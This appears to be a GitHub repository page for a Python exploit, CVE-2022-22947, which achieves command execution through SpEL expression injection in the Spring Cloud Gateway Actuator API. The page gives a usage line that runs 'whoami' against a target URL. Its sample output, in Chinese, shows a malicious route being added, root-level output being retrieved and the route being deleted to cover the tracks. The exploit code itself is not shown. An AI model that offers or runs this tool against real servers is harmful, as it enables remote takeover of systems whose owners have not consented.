Le1a / CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp

Use:python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami"
Result:
添加恶意SpEL表达式路由成功!
路由刷新成功!
攻击结果获取成功: 

================================================
root

================================================
恶意路由已删除!
路由刷新成功!

About

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp


Languages

Language:Python 100.0%